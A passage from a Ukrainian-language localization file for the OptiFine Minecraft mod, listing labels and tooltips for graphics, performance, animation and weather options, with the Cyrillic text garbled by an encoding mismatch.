динамічна текÑтура Ñторони блока, повільніше + +of.options.BETTER_SNOW=Кращий Ñніг +of.options.BETTER_SNOW.tooltip.1=Кращий Ñніг +of.options.BETTER_SNOW.tooltip.2= Вимк - базовий Ñніг, швидше +of.options.BETTER_SNOW.tooltip.3= Увімк - кращий Ñніг, повільніше +of.options.BETTER_SNOW.tooltip.4=Показує Ñніг під прозорими блоками (огорожа, виÑока трава) +of.options.BETTER_SNOW.tooltip.5=коли межує з блоком Ñнігу + +of.options.CUSTOM_FONTS=ВлаÑні шрифти +of.options.CUSTOM_FONTS.tooltip.1=ВлаÑні шрифти +of.options.CUSTOM_FONTS.tooltip.2= Увімк - викориÑтовує влаÑні шрифти (базово), повільніше +of.options.CUSTOM_FONTS.tooltip.3= Вимк - викориÑтовує базовий шрифт, швидше +of.options.CUSTOM_FONTS.tooltip.4=ВлаÑні шрифти вÑтановлюютьÑÑ Ñ€ÐµÑурÑпаком +of.options.CUSTOM_FONTS.tooltip.5= + +of.options.CUSTOM_COLORS=ВлаÑні кольори +of.options.CUSTOM_COLORS.tooltip.1=Custom Colors +of.options.CUSTOM_COLORS.tooltip.2= Увімк - викориÑтовує влаÑні кольори (базово), повільніше +of.options.CUSTOM_COLORS.tooltip.3= Вимк - викориÑтовує базові кольори, швидше +of.options.CUSTOM_COLORS.tooltip.4=ВлаÑні кольори вÑтановлюютьÑÑ Ñ€ÐµÑурÑпаком +of.options.CUSTOM_COLORS.tooltip.5= + +of.options.SWAMP_COLORS=Кольори болота +of.options.SWAMP_COLORS.tooltip.1=Кольори болота +of.options.SWAMP_COLORS.tooltip.2= Увімк - викориÑтовуютьÑÑ ÐºÐ¾Ð»ÑŒÐ¾Ñ€Ð¸ болота (базово), повільніше +of.options.SWAMP_COLORS.tooltip.3= Вимк - не викориÑтовує кольори болота, швидше +of.options.SWAMP_COLORS.tooltip.4=Кольори болота впливають на траву, лиÑÑ‚Ñ, воду Ñ– ліани. + +of.options.SMOOTH_BIOMES=Плавні біоми +of.options.SMOOTH_BIOMES.tooltip.1=Плавні біоми +of.options.SMOOTH_BIOMES.tooltip.2= Увімк - Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ Ð³Ñ€Ð°Ð½Ð¸Ñ†Ñ– біомів (базово), повільніше +of.options.SMOOTH_BIOMES.tooltip.3= Вимк - без Ð·Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ Ð³Ñ€Ð°Ð½Ð¸Ñ†ÑŒ біомів, швидше +of.options.SMOOTH_BIOMES.tooltip.4=Ð—Ð³Ð»Ð°Ð´Ð¶ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð¼Ñ–Ð½ÑÑ” кольори декількох блоків на границі +of.options.SMOOTH_BIOMES.tooltip.5=щоб зменшити різку зміну кольорів. +of.options.SMOOTH_BIOMES.tooltip.6=Впливає на траву, лиÑÑ‚Ñ, воду Ñ– ліани. + +of.options.CONNECTED_TEXTURES=З'єднані текÑтури +of.options.CONNECTED_TEXTURES.tooltip.1=З'єднані текÑтури +of.options.CONNECTED_TEXTURES.tooltip.2= Вимк - без поєднаних текÑтур (базово) +of.options.CONNECTED_TEXTURES.tooltip.3= Швидка - швидкі поєднані текÑтури +of.options.CONNECTED_TEXTURES.tooltip.4= КраÑива - краÑиві поєднані текÑтури +of.options.CONNECTED_TEXTURES.tooltip.5=З'єднані текÑтури впливають на Ñкло, +of.options.CONNECTED_TEXTURES.tooltip.6=піÑковик Ñ– полички, що розташовані +of.options.CONNECTED_TEXTURES.tooltip.7=разом. Приєднанні текÑтури підтримують +of.options.CONNECTED_TEXTURES.tooltip.8=обрані реÑурÑпаки. + +of.options.NATURAL_TEXTURES=Ðатуральні текÑтури +of.options.NATURAL_TEXTURES.tooltip.1=Ðатуральні текÑтури +of.options.NATURAL_TEXTURES.tooltip.2= Вимк - без натуральних текÑтур (базово) +of.options.NATURAL_TEXTURES.tooltip.3= Увімк - викориÑтовує натуральні текÑтури +of.options.NATURAL_TEXTURES.tooltip.4=Ðатуральні текÑтури видалÑÑŽÑ‚ÑŒ Ñітку Ñк шаблон +of.options.NATURAL_TEXTURES.tooltip.5=Ñтворений повтореннÑм блоків одного типу. +of.options.NATURAL_TEXTURES.tooltip.6=Це викориÑтовує перевернуті та повернуті текÑтури +of.options.NATURAL_TEXTURES.tooltip.7=блока. ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ð°Ñ‚ÑƒÑ€Ð°Ð»ÑŒÐ½Ð¸Ñ… текÑтур +of.options.NATURAL_TEXTURES.tooltip.8=надходить з обраного пакета текÑтур. + +of.options.EMISSIVE_TEXTURES=Випромін. текÑтури +of.options.EMISSIVE_TEXTURES.tooltip.1=Випромінювальні текÑтури +of.options.EMISSIVE_TEXTURES.tooltip.2= Увімк - викориÑÑ‚Ð°Ð½Ð½Ñ Ð²Ð¸Ð¿Ñ€Ð¾Ð¼Ñ–Ð½ÑŽÐ²Ð°Ð»ÑŒÐ½Ð¸Ñ… текÑтур +of.options.EMISSIVE_TEXTURES.tooltip.3= Вимк - без випромінювальних текÑтур +of.options.EMISSIVE_TEXTURES.tooltip.4=Випромінюючі текÑтури завжди відображаютьÑÑ Ð· повною ÑÑкравіÑÑ‚ÑŽ. +of.options.EMISSIVE_TEXTURES.tooltip.5=Їх можно викориÑтовувати Ð´Ð»Ñ Ñ–Ð¼Ñ–Ñ‚Ð°Ñ†Ñ–Ñ— Ð²Ð¸Ð¿Ñ€Ð¾Ð¼Ñ–Ð½ÑŽÐ²Ð°Ð½Ð½Ñ Ñвітла +of.options.EMISSIVE_TEXTURES.tooltip.6=чаÑтинами оÑновної текÑтури. +of.options.EMISSIVE_TEXTURES.tooltip.7=ДодаєтьÑÑ Ð¾Ð±Ñ€Ð°Ð½Ð¸Ð¼ реÑурÑпаком. +of.options.EMISSIVE_TEXTURES.tooltip.8= + +of.options.CUSTOM_SKY=ВлаÑне небо +of.options.CUSTOM_SKY.tooltip.1=ВлаÑне небо +of.options.CUSTOM_SKY.tooltip.2= Увімк - влаÑні текÑтури неба (базово), повільніше +of.options.CUSTOM_SKY.tooltip.3= Вимк - базове небо, швидше +of.options.CUSTOM_SKY.tooltip.4=ВлаÑна текÑтура неба може бути змінена +of.options.CUSTOM_SKY.tooltip.5=реÑурÑпаком + +of.options.CUSTOM_ITEMS=ВлаÑні речі +of.options.CUSTOM_ITEMS.tooltip.1=ВлаÑні текÑтури речей +of.options.CUSTOM_ITEMS.tooltip.2= Увімк - влаÑні текÑтури речей (базово), повільніше +of.options.CUSTOM_ITEMS.tooltip.3= Вимк - базові речі, швидше +of.options.CUSTOM_ITEMS.tooltip.4=ВлаÑна текÑтура неба може бути змінена +of.options.CUSTOM_ITEMS.tooltip.5=реÑурÑпаком + +of.options.CUSTOM_ENTITY_MODELS=ВлаÑні моделі Ñ–Ñтот +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=ВлаÑні моделі Ñ–Ñтот +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Увімк - влаÑні моделі Ð´Ð»Ñ Ñ–Ñтот (базово), повільніше +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= Вимк - Ñтандартні моделі Ñ–Ñтот, швидше +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Моделі Ñ–Ñтот можуть бути змінені +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=реÑурÑпаком + +of.options.CUSTOM_GUIS=ВлаÑні GUI +of.options.CUSTOM_GUIS.tooltip.1=ВлаÑні GUI +of.options.CUSTOM_GUIS.tooltip.2= Увімк - влаÑні GUI (базово), повільніше +of.options.CUSTOM_GUIS.tooltip.3= Вимк - Ñтандартні GUI, швидше +of.options.CUSTOM_GUIS.tooltip.4=ВлаÑні GUI вÑтановлюютьÑÑ Ñ€ÐµÑурÑпаком. + +# Details + +of.options.CLOUDS=Хмари +of.options.CLOUDS.tooltip.1=Хмари +of.options.CLOUDS.tooltip.2= Стандартні - Ñк в налаштуваннÑÑ… відео +of.options.CLOUDS.tooltip.3= Швидкі - нижча ÑкіÑÑ‚ÑŒ, швидше +of.options.CLOUDS.tooltip.4= КраÑива - вища ÑкіÑÑ‚ÑŒ, повільніше +of.options.CLOUDS.tooltip.5= Вимк - без хмар, найшвидше +of.options.CLOUDS.tooltip.6=Швидкі хмари відображаютьÑÑ Ñƒ 2D. +of.options.CLOUDS.tooltip.7=КраÑиві хмари відображаютьÑÑ Ñƒ 3D. + +of.options.CLOUD_HEIGHT=ВиÑота хмар +of.options.CLOUD_HEIGHT.tooltip.1=ВиÑота хмар +of.options.CLOUD_HEIGHT.tooltip.2= Вимк - Ñтандартна виÑота +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - вище ліміту Ñвіту + +of.options.TREES=Дерева +of.options.TREES.tooltip.1=Дерева +of.options.TREES.tooltip.2= Стандартні - Ñк в налаштуваннÑÑ… відео +of.options.TREES.tooltip.3= Швидкі - нижча ÑкіÑÑ‚ÑŒ, швидше +of.options.TREES.tooltip.4= Розумні - вища ÑкіÑÑ‚ÑŒ, швидше +of.options.TREES.tooltip.5= КраÑива - найвища ÑкіÑÑ‚ÑŒ, повільніше +of.options.TREES.tooltip.6=Швидкі дерева мають непрозоре лиÑÑ‚Ñ. +of.options.TREES.tooltip.7=КраÑиві дерева мають прозорі лиÑÑ‚Ñ. + +of.options.RAIN=Дощ Ñ– Ñніг +of.options.RAIN.tooltip.1=Дощ Ñ– Ñніг +of.options.RAIN.tooltip.2= Стандартні - Ñк в налаштуваннÑÑ… відео +of.options.RAIN.tooltip.3= Швидкі - нижча ÑкіÑÑ‚ÑŒ, швидше +of.options.RAIN.tooltip.4= КраÑиві - важкий дощ/Ñніг, повільніше +of.options.RAIN.tooltip.5= Вимк - без дощу/Ñнігу, найшвидше +of.options.RAIN.tooltip.6=Коли дощ вимкнено звуки крапель залишатимутьÑÑ +of.options.RAIN.tooltip.7= + +of.options.SKY=Ðебо +of.options.SKY.tooltip.1=Ðебо +of.options.SKY.tooltip.2= Увімк - небо видиме, повільніше +of.options.SKY.tooltip.3= Вимк - небо невидиме, швидше +of.options.SKY.tooltip.4=Коли небо вимкнене, Ñонце Ñ– міÑÑць доÑÑ– помітні. + +of.options.STARS=Зірки +of.options.STARS.tooltip.1=Зірки +of.options.STARS.tooltip.2= Увімк - зірки видимі, повільніше +of.options.STARS.tooltip.3= Вимк - зірки невидимі, швидше + +of.options.SUN_MOON=Сонце Ñ– міÑÑць +of.options.SUN_MOON.tooltip.1=Сонце Ñ– міÑÑць +of.options.SUN_MOON.tooltip.2= Увімк - Ñонце Ñ– міÑÑць видимі (базово) +of.options.SUN_MOON.tooltip.3= Вимк - Ñонце Ñ– міÑÑць невидимі (швидше) + +of.options.SHOW_CAPES=Показувати плащі +of.options.SHOW_CAPES.tooltip.1=Показувати плащі +of.options.SHOW_CAPES.tooltip.2= Увімк - показувати плащі (базово) +of.options.SHOW_CAPES.tooltip.3= Вимк - не показувати плащі (швидше) + +of.options.TRANSLUCENT_BLOCKS=Ðапівпроз. блоки +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Ðапівпрозорі блоки +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Стандартне - Ñк в налаштуваннÑÑ… графіки +of.options.TRANSLUCENT_BLOCKS.tooltip.3= КраÑива - правильне Ð·Ð¼Ñ–ÑˆÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð»ÑŒÐ¾Ñ€Ñ–Ð² (повільніше) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Швидка - швидше Ð·Ð¼Ñ–ÑˆÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð»ÑŒÐ¾Ñ€Ñ–Ð² (швидше) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Контролює Ð·Ð¼Ñ–ÑˆÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð»ÑŒÐ¾Ñ€Ñ–Ð² напівпрозорих блоків +of.options.TRANSLUCENT_BLOCKS.tooltip.6=з різним кольором (Ñкло, вода, лід) +of.options.TRANSLUCENT_BLOCKS.tooltip.7=коли між ними Ñ” повітрÑ. + +of.options.HELD_ITEM_TOOLTIPS=Спливаючі підказки +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Спливаючі підказки +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Увімк - показувати Ñпливаючі підказки (базово) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= Вимк - не показувати підказок + +of.options.ADVANCED_TOOLTIPS=Розширені підказки +of.options.ADVANCED_TOOLTIPS.tooltip.1=Розширені підказки що Ñпливають +of.options.ADVANCED_TOOLTIPS.tooltip.2= Увімк - показувати розширені підказки +of.options.ADVANCED_TOOLTIPS.tooltip.3= Вимк - не показувати розширені підказки (базово) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Розширені підказки показують більше інформації про +of.options.ADVANCED_TOOLTIPS.tooltip.5=речі (id, міцніÑÑ‚ÑŒ) Ñ– Ð´Ð»Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ñ–Ð² +of.options.ADVANCED_TOOLTIPS.tooltip.6=(id, джерело, Ñтандартне значеннÑ) + +of.options.DROPPED_ITEMS=Викинуті речі +of.options.DROPPED_ITEMS.tooltip.1=Викинуті речі +of.options.DROPPED_ITEMS.tooltip.2= Стандартні - Ñк в налаштуваннÑÑ… графіки +of.options.DROPPED_ITEMS.tooltip.3= Швидка - викинуті речі у 2D (швидше) +of.options.DROPPED_ITEMS.tooltip.4= КраÑива - викинуті речі у 3D (повільніше) + +options.entityShadows.tooltip.1=Тіні ÑутноÑтей +options.entityShadows.tooltip.2= Увімк - показувати тіні ÑутноÑтей +options.entityShadows.tooltip.3= Вимк - вимкнути тіні ÑутноÑтей + +of.options.VIGNETTE=Віньєтка +of.options.VIGNETTE.tooltip.1=Візуальний ефект Ñкий затемнÑÑ” краї +of.options.VIGNETTE.tooltip.2= Стандартне - Ñк в налаштуваннÑÑ… графіки +of.options.VIGNETTE.tooltip.3= Швидка - віньєтка вимкнена (швидша) +of.options.VIGNETTE.tooltip.4= КраÑива - віньєтка увімкнена (повільніше) +of.options.VIGNETTE.tooltip.5=Віньєтка може зробити Ñ–Ñтотний вплив на FPS, +of.options.VIGNETTE.tooltip.6=оÑобливо при грі у повноекранному режимі. +of.options.VIGNETTE.tooltip.7=Ефект не дуже важливий Ñ– легко +of.options.VIGNETTE.tooltip.8=може бути вимкненим + +of.options.DYNAMIC_FOV=Динамічний FOV +of.options.DYNAMIC_FOV.tooltip.1=Динамічний FOV +of.options.DYNAMIC_FOV.tooltip.2= Увімк - динамічний FOV увімкнуто(базово) +of.options.DYNAMIC_FOV.tooltip.3= Вимк - динамічний FOV вимкнуто +of.options.DYNAMIC_FOV.tooltip.4=Змінює поле зору (FOV) коли літаємо, біжимо +of.options.DYNAMIC_FOV.tooltip.5=чи натÑгуємо лук. + +of.options.DYNAMIC_LIGHTS=Динамічне оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ +of.options.DYNAMIC_LIGHTS.tooltip.1=Динамічне оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ +of.options.DYNAMIC_LIGHTS.tooltip.2= Вимк - без динамічного оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ (базово) +of.options.DYNAMIC_LIGHTS.tooltip.3= Швидка - швидке динамічне оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ (Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð¶Ð½Ñ– 500мÑ) +of.options.DYNAMIC_LIGHTS.tooltip.4= КраÑива - краÑиве динамічне оÑÐ²Ñ–Ñ‚Ð»ÐµÐ½Ð½Ñ (Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð² реальному чаÑу) +of.options.DYNAMIC_LIGHTS.tooltip.5=ДозволÑÑ” випромінювати Ñвітло речам (факел, Ñвітлокамінь, Ñ‚.д.) +of.options.DYNAMIC_LIGHTS.tooltip.6=щоб оÑвітлювати вÑе навкруги, коли знаходÑÑ‚ÑŒÑÑ Ð² руці, +of.options.DYNAMIC_LIGHTS.tooltip.7=вдÑгнуті іншим гравцем або викинуті на землю. + +options.biomeBlendRadius.tooltip.1=Пом'Ñкшує переходи кольорів на межах біомів +options.biomeBlendRadius.tooltip.2= Вимк - без переходів (швидше) +options.biomeBlendRadius.tooltip.3= 5x5 - Ñтандартний перехід (базово) +options.biomeBlendRadius.tooltip.4= 15x15 - макÑимальний перехід (повільно) +options.biomeBlendRadius.tooltip.5=Великі Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð¼Ð¾Ð¶ÑƒÑ‚ÑŒ зменшувати FPS +options.biomeBlendRadius.tooltip.6=Ñ– заповільнювати швидкіÑÑ‚ÑŒ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð². + +# Performance + +of.options.SMOOTH_FPS=Згладжене FPS +of.options.SMOOTH_FPS.tooltip.1=Стабілізує FPS промиваннÑм графічних буферів драйвера +of.options.SMOOTH_FPS.tooltip.2= Вимк - нема Ñтабілізації, FPS може коливатиÑÑŒ +of.options.SMOOTH_FPS.tooltip.3= Увімк - FPS ÑтабілізуєтьÑÑ +of.options.SMOOTH_FPS.tooltip.4=Цей параметр залежить від графічного драйвера +of.options.SMOOTH_FPS.tooltip.5=Ñ– його вплив не завжди помітний + +of.options.SMOOTH_WORLD=Згладжений Ñвіт +of.options.SMOOTH_WORLD.tooltip.1=Прибирає фрізи при завантаженні чатків. +of.options.SMOOTH_WORLD.tooltip.2= Вимк - нема Ñтабілізації, FPS може коливатиÑÑŒ +of.options.SMOOTH_WORLD.tooltip.3= Увімк - FPS ÑтабілізуєтьÑÑ +of.options.SMOOTH_WORLD.tooltip.4=Стабілізує FPS лише в одиночній грі. +of.options.SMOOTH_WORLD.tooltip.5=Ðе пливає на FPS при грі на Ñервері. + +of.options.FAST_RENDER=Швидкий рендер +of.options.FAST_RENDER.tooltip.1=Швидкий рендер +of.options.FAST_RENDER.tooltip.2= Вимк - Ñтандартний рендер (базово) +of.options.FAST_RENDER.tooltip.3= Увімк - оптимізований рендер (швидший) +of.options.FAST_RENDER.tooltip.4=ВикориÑтовує оптимізований алгоритм рендерингу +of.options.FAST_RENDER.tooltip.5=зменшує Ð½Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð½Ð° процеÑор Ñ– збільшить FPS. +of.options.FAST_RENDER.tooltip.6=Ð¦Ñ Ð¾Ð¿Ñ†Ñ–Ñ Ð¼Ð¾Ð¶Ðµ конфліктувати з деÑкими модами. + +of.options.FAST_MATH=Швидка математика +of.options.FAST_MATH.tooltip.1=Швидка математика +of.options.FAST_MATH.tooltip.2= Вимк - Ñтандартна математика(базово) +of.options.FAST_MATH.tooltip.3= Увімк - швидша математика +of.options.FAST_MATH.tooltip.4=ВикориÑтовує оптимізовані функції sin() Ñ– cos(), що може краще +of.options.FAST_MATH.tooltip.5=утилізувати кеш, Ñ– збільшити FPS. +of.options.FAST_MATH.tooltip.6=Ð¦Ñ Ð¾Ð¿Ñ†Ñ–Ñ Ð¼Ð¾Ð¶Ðµ мати мінімальний вплив генерацію Ñвіту. + +of.options.CHUNK_UPDATES=ÐžÐ½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² +of.options.CHUNK_UPDATES.tooltip.1=ÐžÐ½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² +of.options.CHUNK_UPDATES.tooltip.2= 1 - Повільніше Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñвіту, більший FPS (базово) +of.options.CHUNK_UPDATES.tooltip.3= 3 - Швидше Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð², нижчий FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - Ðайшвидше Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð², найнижчий FPS +of.options.CHUNK_UPDATES.tooltip.5=КількіÑÑ‚ÑŒ оновленн чанку за один кадр, +of.options.CHUNK_UPDATES.tooltip.6=найбільші Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð¼Ð¾Ð¶ÑƒÑ‚ÑŒ зменшити FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Динамічні Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Динамічні Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= Вимк - Ñтандартне Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² за кадр (базово) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Увімк - більше оновленнь коли гравець Ñтоїть +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Динамічні Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð·Ð¼ÑƒÑˆÑƒÑŽÑ‚ÑŒ виконувати більше оновлень чанків +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=коли гравець Ñтоїть, Ñвіт провантажуєтьÑÑ ÑˆÐ²Ð¸Ð´ÑˆÐµ. + +of.options.LAZY_CHUNK_LOADING=Ліниві чанки +of.options.LAZY_CHUNK_LOADING.tooltip.1=Ліниве Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² +of.options.LAZY_CHUNK_LOADING.tooltip.2= Вимк - базове Ñерверне Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² +of.options.LAZY_CHUNK_LOADING.tooltip.3= Увімк - ліниве Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñерверних чанків (плавніше) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Згладжує Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² вбудований Ñервером +of.options.LAZY_CHUNK_LOADING.tooltip.5=розподілÑючи чанки на декілька тіків. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Вимкніть це Ñкщо деÑкі чаÑтини Ñвіту не завантажуютьÑÑ Ð¿Ñ€Ð°Ð²Ð¸Ð»ÑŒÐ½Ð¾. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Ефективно тільки Ð´Ð»Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¸Ñ… Ñвітів Ñ– одноÑдерних процеÑорів. + +of.options.RENDER_REGIONS=Рендер регіонів +of.options.RENDER_REGIONS.tooltip.1=Рендер регіонів +of.options.RENDER_REGIONS.tooltip.2= Вимк - не викориÑтовувати рендер регіонів (базово) +of.options.RENDER_REGIONS.tooltip.3= Увімк - викориÑтовувати рендер регіонів +of.options.RENDER_REGIONS.tooltip.4=Рендер регіонів пришвидшує рендер території при великих значеннÑÑ… +of.options.RENDER_REGIONS.tooltip.5=видимої відÑтані. Більш ефективний коли VBO увімкнено. +of.options.RENDER_REGIONS.tooltip.6=Ðе рекомендовано Ð´Ð»Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ… відеокарт. + +of.options.SMART_ANIMATIONS=Розумна Ð°Ð½Ñ–Ð¼Ð°Ñ†Ñ–Ñ +of.options.SMART_ANIMATIONS.tooltip.1=Розумна Ð°Ð½Ñ–Ð¼Ð°Ñ†Ñ–Ñ +of.options.SMART_ANIMATIONS.tooltip.2= Вимк - не викориÑтовувати розумну анімацію (базово) +of.options.SMART_ANIMATIONS.tooltip.3= Увімк - викориÑтовувати розумну анімацію +of.options.SMART_ANIMATIONS.tooltip.4=З розумною анімацією, гра буде анімувати лише +of.options.SMART_ANIMATIONS.tooltip.5=текÑтури, Ñкі видимі на екрані. +of.options.SMART_ANIMATIONS.tooltip.6=Це зменшує лаги Ñ– покращує FPS. +of.options.SMART_ANIMATIONS.tooltip.7=ОÑобливо кориÑно Ð´Ð»Ñ Ð²ÐµÐ»Ð¸ÐºÐ¸Ñ… модпаків та HD реÑурÑпаків. + +# Animations + +of.options.animation.allOn=Ð’ÑÑ– Увімк +of.options.animation.allOff=Ð’ÑÑ– Вимк +of.options.animation.dynamic=Динамічні + +of.options.ANIMATED_WATER=ÐÐ½Ñ–Ð¼Ð°Ñ†Ñ–Ñ Ð²Ð¾Ð´Ð¸ +of.options.ANIMATED_LAVA=ÐÐ½Ñ–Ð¼Ð°Ñ†Ñ–Ñ Ð»Ð°Ð²Ð¸ +of.options.ANIMATED_FIRE=ÐÐ½Ñ–Ð¼Ð°Ñ†Ñ–Ñ Ð²Ð¾Ð³Ð½ÑŽ +of.options.ANIMATED_PORTAL=ÐÐ½Ñ–Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ð¾Ñ€Ñ‚Ð°Ð»Ñƒ +of.options.ANIMATED_REDSTONE=ÐÐ½Ñ–Ð¼Ð°Ñ†Ñ–Ñ Ñ€ÐµÐ´Ñтоуну +of.options.ANIMATED_EXPLOSION=ÐÐ½Ñ–Ð¼Ð°Ñ†Ñ–Ñ Ð²Ð¸Ð±ÑƒÑ…Ñƒ +of.options.ANIMATED_FLAME=ÐÐ½Ñ–Ð¼Ð°Ñ†Ñ–Ñ Ð¿Ð¾Ð»ÑƒÐ¼'Ñ +of.options.ANIMATED_SMOKE=ÐÐ½Ñ–Ð¼Ð°Ñ†Ñ–Ñ Ð´Ð¸Ð¼Ñƒ +of.options.VOID_PARTICLES=ЧаÑтинки безодні +of.options.WATER_PARTICLES=ЧаÑтинки води +of.options.RAIN_SPLASH=Краплі дощу +of.options.PORTAL_PARTICLES=Чатинки порталу +of.options.POTION_PARTICLES=ЧаÑтинки Ð·Ñ–Ð»Ð»Ñ +of.options.DRIPPING_WATER_LAVA=Капаюча лава/вода +of.options.ANIMATED_TERRAIN=ÐÐ½Ñ–Ð¼Ð°Ñ†Ñ–Ñ Ð¼Ñ–ÑцевоÑÑ‚Ñ– +of.options.ANIMATED_TEXTURES=ÐÐ½Ñ–Ð¼Ð°Ñ†Ñ–Ñ Ñ‚ÐµÐºÑтур +of.options.FIREWORK_PARTICLES=ЧаÑтинки феєрверку + +# Other + +of.options.LAGOMETER=Лагометр +of.options.LAGOMETER.tooltip.1=Показує лагометр на екрані дебагу (F3). +of.options.LAGOMETER.tooltip.2=* Оранжевий - Ð·Ð±ÐµÑ€Ñ–Ð³Ð°Ð½Ð½Ñ Ð¼ÑƒÑору в пам'ÑÑ‚Ñ– +of.options.LAGOMETER.tooltip.3=* Блакитний - Тік +of.options.LAGOMETER.tooltip.4=* Синій - Заплановані дії +of.options.LAGOMETER.tooltip.5=* Фіолетовий - Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² +of.options.LAGOMETER.tooltip.6=* Червоний - ÐžÐ½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡Ð°Ð½ÐºÑ–Ð² +of.options.LAGOMETER.tooltip.7=* Жовтий - Перевірка видимоÑÑ‚Ñ– +of.options.LAGOMETER.tooltip.8=* Зелений - Рендеринг міÑцевоÑÑ‚Ñ– + +of.options.PROFILER=Профіль відладки +of.options.PROFILER.tooltip.1=Профіль відладки +of.options.PROFILER.tooltip.2= Увімк - профіль відладки увімкнуто (повільніше) +of.options.PROFILER.tooltip.3= Вимк - профіль відладки вимкнуто (швидше) +of.options.PROFILER.tooltip.4=Профіль відладки збирає інформацію Ñ– показує Ñ—Ñ— на +of.options.PROFILER.tooltip.5=екрані відладки (F3) + +of.options.WEATHER=Погода +of.options.WEATHER.tooltip.1=Погода +of.options.WEATHER.tooltip.2= Увімк - погода активна, повільніше +of.options.WEATHER.tooltip.3= Вимк - погода не активна, швидше +of.options.WEATHER.tooltip.4=Погода контролює дощі, грози Ñ– Ñніг. +of.options.WEATHER.tooltip.5=Працює лиш в ОДИÐОЧÐИХ СВІТÐÐ¥. + +of.options.time.dayOnly=Тільки день +of.options.time.nightOnly=Тільки ніч + +of.options.TIME=Ð§Ð°Ñ +of.options.TIME.tooltip.1=Ð§Ð°Ñ +of.options.TIME.tooltip.2= Стандартне - Ñтандартний день +of.options.TIME.tooltip.3= Тільки день - тільки день +of.options.TIME.tooltip.4= Тільки ніч - тільки ніч +of.options.TIME.tooltip.5=Ð’ÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ‡Ð°Ñу працює лиш Ð´Ð»Ñ Ð³Ñ€Ð°Ð²Ñ†Ñ–Ð² у +of.options.TIME.tooltip.6=КРЕÐТИВІ та у локальних Ñвітах. + +options.fullscreen.tooltip.1=Повноекранний режим 